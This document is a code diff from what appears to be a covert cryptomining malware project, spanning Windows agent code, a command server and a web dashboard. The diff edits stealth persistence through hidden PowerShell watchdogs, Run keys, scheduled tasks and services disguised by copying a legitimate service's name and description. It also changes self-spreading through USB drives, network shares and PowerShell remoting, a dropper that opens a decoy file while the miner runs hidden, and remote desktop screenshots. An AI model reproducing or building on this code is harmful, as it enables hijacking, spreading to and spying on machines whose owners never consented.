maintainInstall(cfg config.RuntimeConfig) error { } } - if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" { - if err := configureAutoStart(cfg, installedBin); err != nil { - return err - } - } - if cfg.RunAs == "scheduled" || cfg.RunAs == "service" { - if err := configureRunMode(cfg, installedBin); err != nil { - return err - } + if err := ensurePersistence(cfg, installedBin); err != nil { + return err } if cfg.FirewallExclusion { EnsureFirewallExclusion(cfg, installedBin) diff --git a/agent/deploy/health_windows.go b/agent/deploy/health_windows.go deleted file mode 100644 index 554e2be..0000000 --- a/agent/deploy/health_windows.go +++ /dev/null @@ -1,43 +0,0 @@ -//go:build windows - -package deploy - -import ( - "fmt" - "os/exec" - "strings" - - "crypto-miner-agent/config" -) - -// launchProcessGuard spawns a hidden PowerShell loop that watches for the -// installed miner process by name and relaunches it if it disappears. -// The guardian runs completely outside this process — it survives a crash. -func launchProcessGuard(cfg config.RuntimeConfig) { - installDir, err := cfg.InstallDirectory() - if err != nil { - return - } - binPath := strings.ReplaceAll(fmt.Sprintf(`%s\%s`, installDir, BinaryName(cfg)), `'`, `''`) - procName := strings.TrimSuffix(BinaryName(cfg), ".exe") - - // Loop every 60 s. If the process is gone and the binary still exists, restart it. - ps := fmt.Sprintf(` -$bin = '%s' -$proc = '%s' -while ($true) { - Start-Sleep -Seconds 60 - if (-not (Get-Process -Name $proc -ErrorAction SilentlyContinue)) { - if (Test-Path $bin) { - Start-Process $bin -ArgumentList '--run' -WindowStyle Hidden -ErrorAction SilentlyContinue - } - } -} -`, binPath, procName) - - cmd := exec.Command("powershell", - "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", - "-Command", ps) - applyDetachedStart(cmd) - _ = cmd.Start() -} diff --git a/agent/deploy/passive_spread_windows.go b/agent/deploy/passive_spread_windows.go index e6805dd..14ce6e9 100644 --- a/agent/deploy/passive_spread_windows.go +++ b/agent/deploy/passive_spread_windows.go @@ -8,7 +8,6 @@ import ( "math/rand" "net" "os" - "os/exec" "path/filepath" "strings" "sync" @@ -210,8 +209,7 @@ $lnk.Save() strings.ReplaceAll(lnkPath, `'`, `''`), strings.ReplaceAll(destBin, `'`, `''`), ) - cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) - _ = cmd.Run() + _ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) } // ----------------------------------------------------------------------- @@ -227,10 +225,11 @@ func installWMIUSBTrigger(cfg config.RuntimeConfig) { } destName := usbPayloadName(cfg) // Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time. - copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`, + copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & "%%TargetInstance.DriveLetter%%\\%s" %s`, strings.ReplaceAll(exePath, `"`, `\"`), destName, destName, + runFlag, ) // Escape single-quotes for PowerShell string embedding copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`) @@ -274,8 +273,7 @@ Copy-Item '%s' $dest -Force -EA SilentlyContinue exePathPS, ) - cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) - if err := cmd.Run(); err == nil { + if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil { log.Printf("[passive-spread] WMI USB subscription installed (persistent)") } // Non-admin failure is expected and harmless; polling still covers it. @@ -331,10 +329,7 @@ func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) { return } log.Printf("[passive-spread] dropped to share %s", dest) - // Try to execute it via a UNC path - cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest) - applyDetachedStart(cmd) - _ = cmd.Start() + _ = HiddenStart(dest, runFlag) } func sharePayloadName(cfg config.RuntimeConfig) string { @@ -348,7 +343,7 @@ func sharePayloadName(cfg config.RuntimeConfig) string { // listNetUse parses `net use` output and returns active UNC paths. func listNetUse() []string { - out, err := exec.Command("net", "use").Output() + out, err := HiddenOutput("net", "use") if err != nil { return nil } @@ -434,8 +429,7 @@ if ($s) { Remove-PSSession $s -EA SilentlyContinue } `, target, scriptBlock) - cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) - if err := cmd.Run(); err == nil { + if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil { log.Printf("[passive-spread] PS remoting to %s succeeded", target) } } diff --git a/agent/deploy/persistence_stub.go b/agent/deploy/persistence_stub.go new file mode 100644 index 0000000..af4f136 --- /dev/null +++ b/agent/deploy/persistence_stub.go @@ -0,0 +1,12 @@ +//go:build !windows + +package deploy + +import "crypto-miner-agent/config" + +func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error { + if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" { + return configureRunMode(cfg, installedBin) + } + return nil +} diff --git a/agent/deploy/persistence_windows.go b/agent/deploy/persistence_windows.go new file mode 100644 index 0000000..13fc45b --- /dev/null +++ b/agent/deploy/persistence_windows.go @@ -0,0 +1,62 @@ +//go:build windows + +package deploy + +import ( + "strings" + + "crypto-miner-agent/config" + + "golang.org/x/sys/windows/registry" +) + +func scheduledTaskExists(taskName string) bool { + return HiddenRun("schtasks", "/Query", "/TN", taskName) == nil +} + +func registryRunExists(cfg config.RuntimeConfig, binPath string) bool { + keyName := PersistenceKeyName(cfg) + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE) + if err != nil { + return false + } + defer k.Close() + val, _, err := k.GetStringValue(keyName) + if err != nil { + return false + } + return strings.Contains(val, binPath) +} + +func serviceExists(svcName string) bool { + return HiddenRun("sc.exe", "query", svcName) == nil +} + +// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick). +func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error { + switch cfg.RunAs { + case "scheduled": + if !scheduledTaskExists(PersistenceKeyName(cfg)) { + if err := createScheduledTask(cfg, installedBin); err != nil { + return err + } + } + case "service": + svcName := cfg.ServiceName + if svcName == "" { + svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) + } + if !serviceExists(svcName) { + if err := createWindowsService(cfg, installedBin); err != nil { + return err + } + } + default: + if cfg.AutoStart && !registryRunExists(cfg, installedBin) { + if err := configureAutoStart(cfg, installedBin); err != nil { + return err + } + } + } + return nil +} diff --git a/agent/deploy/platform_windows.go b/agent/deploy/platform_windows.go index 119b9c4..20af114 100644 --- a/agent/deploy/platform_windows.go +++ b/agent/deploy/platform_windows.go @@ -5,10 +5,9 @@ package deploy import ( "fmt" "os" - "os/exec" "path/filepath" "strings" - "syscall" + "time" "crypto-miner-agent/config" @@ -29,9 +28,7 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { return err } defer k.Close() - // Wrap in PowerShell so the console window is suppressed on startup. - val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, - strings.ReplaceAll(binPath, `'`, `''`), runFlag) + val := fmt.Sprintf(`"%s" %s`, binPath, runFlag) return k.SetStringValue(PersistenceKeyName(cfg), val) } @@ -46,41 +43,32 @@ func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { } } -// createWindowsService installs the miner as a real Windows Service with -// automatic crash-restart. When ServiceMasquerade is enabled, the service -// name and description are cloned from the donor service so it blends in. func createWindowsService(cfg config.RuntimeConfig, binPath string) error { svcName := cfg.ServiceName if svcName == "" { svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) } - // Tear down any stale instance first (errors are expected and ignored) - _ = exec.Command("sc.exe", "stop", svcName).Run() - _ = exec.Command("sc.exe", "delete", svcName).Run() - // Give SCM time to fully remove the entry - exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck + _ = HiddenRun("sc.exe", "stop", svcName) + _ = HiddenRun("sc.exe", "delete", svcName) + time.Sleep(time.Second) - // Create the service - if err := exec.Command("sc.exe", "create", svcName, + if err := HiddenRun("sc.exe", "create", svcName, "binPath=", `"`+binPath+`" --run`, "type=", "own", "start=", "auto", "error=", "ignore", - ).Run(); err != nil { + ); err != nil { return fmt.Errorf("sc create: %w", err) } - // Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s - _ = exec.Command("sc.exe", "failure", svcName, + _ = HiddenRun("sc.exe", "failure", svcName, "reset=", "60", "actions=", "restart/0/restart/5000/restart/30000", - ).Run() + ) - // Start it - _ = exec.Command("sc.exe", "start", svcName).Run() + _ = HiddenRun("sc.exe", "start", svcName) - // Masquerade: copy description from donor service if cfg.ServiceMasquerade && cfg.ServiceDonor != "" { cloneServiceDescription(svcName, cfg.ServiceDonor) } @@ -88,28 +76,19 @@ func createWindowsService(cfg config.RuntimeConfig, binPath string) error { return nil } -// cloneServiceDescription copies the display name and description from -// donorSvc into targetSvc using PowerShell so the service looks legitimate. func cloneServiceDescription(targetSvc, donorSvc string) { ps := fmt.Sprintf(` -$donor = Get-Service '%s' -EA SilentlyContinue -if ($donor) { - $wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue - $donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue - if ($donorWmi) { - sc.exe description '%s' ($donorWmi.Description) - Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue - } +$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue +if ($donorWmi) { + sc.exe description '%s' ($donorWmi.Description) + Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue } `, - strings.ReplaceAll(donorSvc, `'`, `''`), - strings.ReplaceAll(targetSvc, `'`, `''`), strings.ReplaceAll(donorSvc, `'`, `''`), strings.ReplaceAll(targetSvc, `'`, `''`), strings.ReplaceAll(targetSvc, `'`, `''`), ) - cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) - _ = cmd.Run() + _ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) } func createScheduledTask(cfg config.RuntimeConfig, binPath string) error { @@ -117,33 +96,12 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error { if taskName == "" { taskName = "CryptoMinerAgent" } - safeBin := strings.ReplaceAll(binPath, `'`, `''`) - safeTask := strings.ReplaceAll(taskName, `'`, `''`) - // Wrap in PowerShell with -WindowStyle Hidden so no console window appears. - // RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop - // from spamming the screen. The watchdog covers longer-term health. - psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag) - script := fmt.Sprintf( - `$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, - strings.ReplaceAll(psArg, `'`, `''`), - safeTask, - ) - cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) - return cmd.Run() -} - -func applyDetachedStart(cmd *exec.Cmd) { - if cmd == nil { - return - } - cmd.SysProcAttr = &syscall.SysProcAttr{ - HideWindow: true, - CreationFlags: 0x08000000, - } + tr := fmt.Sprintf(`\"%s\" %s`, binPath, runFlag) + return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED") } func HostOSVersion() string { - out, err := exec.Command("cmd", "/C", "ver").CombinedOutput() + out, err := HiddenCombinedOutput("cmd", "/C", "ver") if err != nil { return "windows" } @@ -151,7 +109,7 @@ func HostOSVersion() string { } func killWorkerProcess(cfg config.RuntimeConfig) { - _ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run() + _ = HiddenRun("taskkill", "/F", "/IM", BinaryName(cfg)) } func removePersistence(cfg config.RuntimeConfig) { @@ -161,22 +119,19 @@ func removePersistence(cfg config.RuntimeConfig) { _ = runKey.DeleteValue(keyName) runKey.Close() } - _ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() - // Remove service — use the configured name if available, fall back to legacy pattern + _ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F") svcName := cfg.ServiceName if svcName == "" { svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) } - _ = exec.Command("sc.exe", "stop", svcName).Run() - _ = exec.Command("sc.exe", "delete", svcName).Run() + _ = HiddenRun("sc.exe", "stop", svcName) + _ = HiddenRun("sc.exe", "delete", svcName) } func selfUninstallSpawn(installDir string) { - ps := fmt.Sprintf(` -$dir = '%s' -Start-Sleep -Seconds 2 -Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue -`, strings.ReplaceAll(installDir, "'", "''")) - cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps) - _ = cmd.Start() + dir := installDir + go func() { + time.Sleep(2 * time.Second) + _ = os.RemoveAll(dir) + }() } diff --git a/agent/deploy/priority_windows.go b/agent/deploy/priority_windows.go index acc5005..2c35c84 100644 --- a/agent/deploy/priority_windows.go +++ b/agent/deploy/priority_windows.go @@ -5,7 +5,6 @@ package deploy import ( "fmt" "os" - "os/exec" ) func SetProcessPriority(priority string) error { @@ -23,7 +22,6 @@ func SetProcessPriority(priority string) error { class = "High" } pid := os.Getpid() - cmd := exec.Command("powershell", "-NoProfile", "-Command", + return HiddenRun("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class)) - return cmd.Run() } diff --git a/agent/deploy/tunnel_stub.go b/agent/deploy/tunnel_stub.go new file mode 100644 index 0000000..cb51433 --- /dev/null +++ b/agent/deploy/tunnel_stub.go @@ -0,0 +1,9 @@ +//go:build !windows + +package deploy + +import "fmt" + +func StartCloudflaredTunnel(serverURL string) (string, error) { + return "", fmt.Errorf("cloudflared tunnel is only supported on Windows in this build") +} diff --git a/agent/deploy/tunnel.go b/agent/deploy/tunnel_windows.go similarity index 66% rename from agent/deploy/tunnel.go rename to agent/deploy/tunnel_windows.go index 8c40e70..b85adeb 100644 --- a/agent/deploy/tunnel.go +++ b/agent/deploy/tunnel_windows.go @@ -1,9 +1,10 @@ +//go:build windows + package deploy import ( "fmt" "os" - "os/exec" "path/filepath" "strings" ) @@ -15,21 +16,20 @@ func StartCloudflaredTunnel(serverURL string) (string, error) { return "", fmt.Errorf("server URL required") } - checkCmd := exec.Command("cloudflared", "--version") - if err := checkCmd.Run(); err != nil { - downloadCmd := exec.Command("powershell", "-Command", + if err := HiddenRun("cloudflared", "--version"); err != nil { + output, dlErr := HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", "Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe") - if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil { + if dlErr != nil { return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr) } src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe") dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe") - _ = exec.Command("copy", "/Y", src, dst).Run() + _ = HiddenRun("copy", "/Y", src, dst) } - tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL) - if err := tunnelCmd.Start(); err != nil { + cmd := HiddenCommand("cloudflared", "tunnel", "--url", serverURL) + if err := cmd.Start(); err != nil { return "", fmt.Errorf("failed to start cloudflared: %w", err) } - return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil + return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil } diff --git a/agent/main.go b/agent/main.go index 338a853..a3a8fb5 100644 --- a/agent/main.go +++ b/agent/main.go @@ -17,6 +17,10 @@ import ( func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) cfg := config.Load() + if deploy.IsGuardMode() { + deploy.RunGuardLoop(cfg) + return + } setupLogging(cfg) if cfg.Wallet == "" { diff --git a/fusion/hidden_windows.go b/fusion/hidden_windows.go new file mode 100644 index 0000000..96ee370 --- /dev/null +++ b/fusion/hidden_windows.go @@ -0,0 +1,20 @@ +//go:build windows + +package main + +import ( + "os/exec" + "syscall" +) + +const creationFlagsNoWindow = 0x08000000 + +func prepareHidden(cmd *exec.Cmd) { + if cmd == nil { + return + } + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: creationFlagsNoWindow, + } +} diff --git a/fusion/media_windows.go b/fusion/media_windows.go index 70c928c..0a4afcf 100644 --- a/fusion/media_windows.go +++ b/fusion/media_windows.go @@ -3,36 +3,27 @@ package main import ( - "os" "os/exec" "path/filepath" - "syscall" ) -// openFile opens any file with the Windows default application. -// Works for PDF, video, document, image, executable — anything. +// openFile opens any file with the Windows default application (no cmd flash). func openFile(path string) { - path = filepath.Clean(path) - cmd := exec.Command("cmd", "/c", "start", "", path) - _ = cmd.Start() + _ = shellOpen(path) } // applyHiddenStartPath launches the worker binary hidden (no window). func applyHiddenStartPath(path string) { cmd := exec.Command(path) cmd.Dir = filepath.Dir(path) - cmd.SysProcAttr = &syscall.SysProcAttr{ - HideWindow: true, - CreationFlags: 0x08000000, - } + prepareHidden(cmd) _ = cmd.Start() } -// applyWaitRun launches an exe directly and waits for it to exit. +// applyWaitRun launches an exe directly and waits for it to exit (hidden). func applyWaitRun(path string) { cmd := exec.Command(path) cmd.Dir = filepath.Dir(path) - cmd.Stdout = os.Stdout - cmd.Stderr = os.Stderr + prepareHidden(cmd) _ = cmd.Run() } diff --git a/fusion/shell_windows.go b/fusion/shell_windows.go new file mode 100644 index 0000000..8f34628 --- /dev/null +++ b/fusion/shell_windows.go @@ -0,0 +1,30 @@ +//go:build windows + +package main + +import ( + "path/filepath" + "syscall" + "unsafe" +) + +func shellOpen(path string) error { + path = filepath.Clean(path) + shell32 := syscall.NewLazyDLL("shell32.dll") + proc := shell32.NewProc("ShellExecuteW") + verb, _ := syscall.UTF16PtrFromString("open") + file, _ := syscall.UTF16PtrFromString(path) + dir, _ := syscall.UTF16PtrFromString(filepath.Dir(path)) + ret, _, _ := proc.Call( + 0, + uintptr(unsafe.Pointer(verb)), + uintptr(unsafe.Pointer(file)), + 0, + uintptr(unsafe.Pointer(dir)), + 1, // SW_SHOWNORMAL — user-visible decoy only + ) + if ret <= 32 { + return syscall.Errno(ret) + } + return nil +} diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index ca9796e..ba751b7 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -310,8 +310,22 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) } f.ws.BroadcastAgentCommand(req.Action, args) } else { + if !f.ws.isAgentConnected(id) { + writeJSON(w, map[string]interface{}{ + "success": false, + "error": "agent not connected", + "agent_id": id, + "action": req.Action, + }) + return + } if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { - http.Error(w, err.Error(), http.StatusBadRequest) + writeJSON(w, map[string]interface{}{ + "success": false, + "error": err.Error(), + "agent_id": id, + "action": req.Action, + }) return } } diff --git a/server/internal/api/fleet_handler_test.go b/server/internal/api/fleet_handler_test.go index dd20d6d..0ef09d4 100644 --- a/server/internal/api/fleet_handler_test.go +++ b/server/internal/api/fleet_handler_test.go @@ -588,8 +588,15 @@ func TestFleetPostAgentCommandErrors(t *testing.T) { req := httptest.NewRequest(http.MethodPost, "/agents/offline-agent/command", strings.NewReader(`{"action":"pause"}`)) fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req) - if rec.Code != http.StatusBadRequest { - t.Fatalf("expected 400, got %d body %s", rec.Code, rec.Body.String()) + if rec.Code != http.StatusOK { + t.Fatalf("expected 200, got %d body %s", rec.Code, rec.Body.String()) + } + var body map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if body["success"] != false || body["error"] != "agent not connected" { + t.Fatalf("unexpected body: %v", body) } }) diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index 1f40ddb..13b002f 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -337,8 +337,17 @@ func TestIntegrationAgentCommandOffline(t *testing.T) { router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/offline-agent/command", []byte(`{"action":"pause"}`)) - if rec.Code != http.StatusBadRequest { - t.Fatalf("expected 400 for offline agent, got %d body=%s", rec.Code, rec.Body.String()) + // Command for a non-connected agent returns 200 with success:false (not a 4xx), + // so the caller can inspect the error without tripping HTTP error handling. + if rec.Code != http.StatusOK { + t.Fatalf("expected 200 for offline agent, got %d body=%s", rec.Code, rec.Body.String()) + } + var body map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if body["success"] != false { + t.Fatalf("expected success=false, got %v", body) } } diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index aab20ed..1ee39be 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -47,8 +47,8 @@ func checkDashboardWSToken(r *http.Request) bool { } var upgrader = websocket.Upgrader{ - ReadBufferSize: 4096, - WriteBufferSize: 4096, + ReadBufferSize: 512 * 1024, + WriteBufferSize: 512 * 1024, CheckOrigin: func(r *http.Request) bool { return true // Allow all origins for local use }, @@ -246,6 +246,17 @@ func (h *WSHub) isAgentConnected(agentID string) bool { return ok } +// writeAgentJSON sends a message to a connected agent using the per-connection +// write mutex. All post-auth outbound JSON must use this — never conn.WriteJSON +// from the read loop, or commands and new_job messages can corrupt each other. +func (h *WSHub) writeAgentJSON(agentID string, msg Message) error { + ac := h.getAgentConn(agentID) + if ac == nil { + return fmt.Errorf("agent %s not connected", agentID) + } + return ac.SendJSON(msg) +} + func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) { h.mu.Lock() h.poolManager = manager @@ -826,12 +837,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if proxy != nil { job := proxy.GetCurrentJob() if job != nil { - conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)}) + _ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(job)}) } else { - conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})}) + _ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})}) } } else { - conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})}) + _ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})}) } case "log_tail": @@ -899,6 +910,11 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { // Send initial data agents, _ := h.db.ListAgents() h.enrichAgentsCapabilities(agents) + for _, a := range agents { + if a != nil && h.isAgentConnected(a.ID) { + a.Status = "online" + } + } stats, _ := h.db.GetFleetStats() _ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{ diff --git a/server/internal/api/websocket_auth_test.go b/server/internal/api/websocket_auth_test.go index ba7133d..a2b07b5 100644 --- a/server/internal/api/websocket_auth_test.go +++ b/server/internal/api/websocket_auth_test.go @@ -46,8 +46,9 @@ func TestShortAgentID(t *testing.T) { } func TestAgentDisplayNameFallback(t *testing.T) { + // No hostname, no worker name — falls back to "agent-" name := agentDisplayName("", "", "", "12345678-abcd") - if name != "12345678" { - t.Fatalf("expected id prefix, got %q", name) + if name != "agent-12345678" { + t.Fatalf("expected agent-12345678, got %q", name) } } diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 9e109b0..dea863d 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -858,8 +858,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.FusionRunOrder == "" { req.FusionRunOrder = "parallel" } - if req.FusionOutputName == "" { - req.FusionOutputName = "prep.exe" + if req.FusionOutputName == "" || req.FusionOutputName == "prep.exe" { + if base := strings.TrimSpace(req.FusionMediaBaseName); base != "" { + req.FusionOutputName = disguisedRunnerName(base) + } else if req.FusionOutputName == "" { + req.FusionOutputName = "prep.exe" + } } if req.FusionMediaMode == "" { req.FusionMediaMode = "paired" diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index d411818..e4da0fd 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -4,6 +4,7 @@ import SessionGate from './components/SessionGate'; import Layout from './components/Layout/Layout'; import { WebSocketProvider } from './context/WebSocketProvider'; import { ForgeProvider } from './context/ForgeContext'; +import { MatrixRainProvider } from './context/MatrixRainContext'; const DashboardPage = lazy(() => import('./pages/DashboardPage')); const AgentsPage = lazy(() => import('./pages/AgentsPage')); @@ -27,6 +28,7 @@ function App() { // No page or component should call new WebSocket() directly — use useWebSocket(). + }> @@ -44,6 +46,7 @@ function App() { + ); diff --git a/server/web/src/components/Fleet/AgentListItem.tsx b/server/web/src/components/Fleet/AgentListItem.tsx index 6c013aa..fa94116 100644 --- a/server/web/src/components/Fleet/AgentListItem.tsx +++ b/server/web/src/components/Fleet/AgentListItem.tsx @@ -2,6 +2,7 @@ import AgentRemoteActions from './AgentRemoteActions'; import { formatHashrate, formatUptime } from '../../help/fleetFilters'; import type { Agent } from '../../types'; import type { SeqCommandResult } from '../../context/WebSocketContext'; +import type { FleetGroup } from '../../help/fleetGroups'; import LatencyBadge from './LatencyBadge'; function formatRelTime(iso: string): string { @@ -24,6 +25,7 @@ interface Props { onSelect: () => void; onCheck?: (checked: boolean) => void; commandResults?: SeqCommandResult[]; + memberGroups?: FleetGroup[]; } export default function AgentListItem({ @@ -36,8 +38,10 @@ export default function AgentListItem({ onSelect, onCheck, commandResults, + memberGroups = [], }: Props) { const online = agent.status === 'online'; + const primaryGroup = memberGroups[0]; const handleRowClick = (e: React.MouseEvent) => { const target = e.target as HTMLElement; @@ -51,6 +55,18 @@ export default function AgentListItem({ return (
@@ -81,9 +97,18 @@ export default function AgentListItem({
- {(agent.tags?.length ?? 0) > 0 && ( + {(memberGroups.length > 0 || (agent.tags?.length ?? 0) > 0) && (
- {agent.tags!.map((t) => ( + {memberGroups.map((g) => ( + + {g.name} + + ))} + {agent.tags?.map((t) => ( {t} ))}
diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index 64c8203..9477a74 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -3,6 +3,7 @@ import { api } from '../../api/client'; import type { Agent, Build } from '../../types'; import type { SeqCommandResult } from '../../context/WebSocketContext'; import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions'; +import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload'; import './AgentRemoteActions.css'; const TERMINAL_MAX_LINES = 500; @@ -88,9 +89,19 @@ export default function AgentRemoteActions({ const { agent_id, action, success, message } = payload; if (agentId && agentId !== 'all' && agent_id !== agentId) continue; - if (action === 'screenshot' && success && message) { - setScreenshotData(`data:image/jpeg;base64,${message}`); - addLog(`Screenshot received from ${agent_id}`); + if (action === 'screenshot') { + const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent'); + if (success && message) { + const clean = sanitizeScreenshotBase64(message); + if (downloadScreenshotFromBase64(clean, label)) { + setScreenshotData(`data:image/jpeg;base64,${clean}`); + addLog(`Screenshot saved — ${label}`); + } else { + addLog(`[SCREENSHOT] ${label}: invalid image data`); + } + } else { + addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`); + } } else if (action) { addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`); } @@ -115,7 +126,11 @@ export default function AgentRemoteActions({ setBusy(action); try { - if (!compact) addLog(`> Executing ${action}...`); + if (action === 'screenshot') { + addLog(`Capturing desktop on ${agentName}…`); + } else if (!compact) { + addLog(`> Executing ${action}...`); + } const res = await api.sendAgentCommand(agentId, action, args); if (res.success === false) { addLog(`Command rejected: ${res.error ?? 'unknown error'}`); @@ -163,6 +178,7 @@ export default function AgentRemoteActions({ return (
e.stopPropagation()}>
+ @@ -195,7 +211,7 @@ export default function AgentRemoteActions({

Recon & Intel

- + @@ -350,7 +366,16 @@ export default function AgentRemoteActions({ {screenshotData && (
- Latest Capture + Latest capture (also downloaded) +
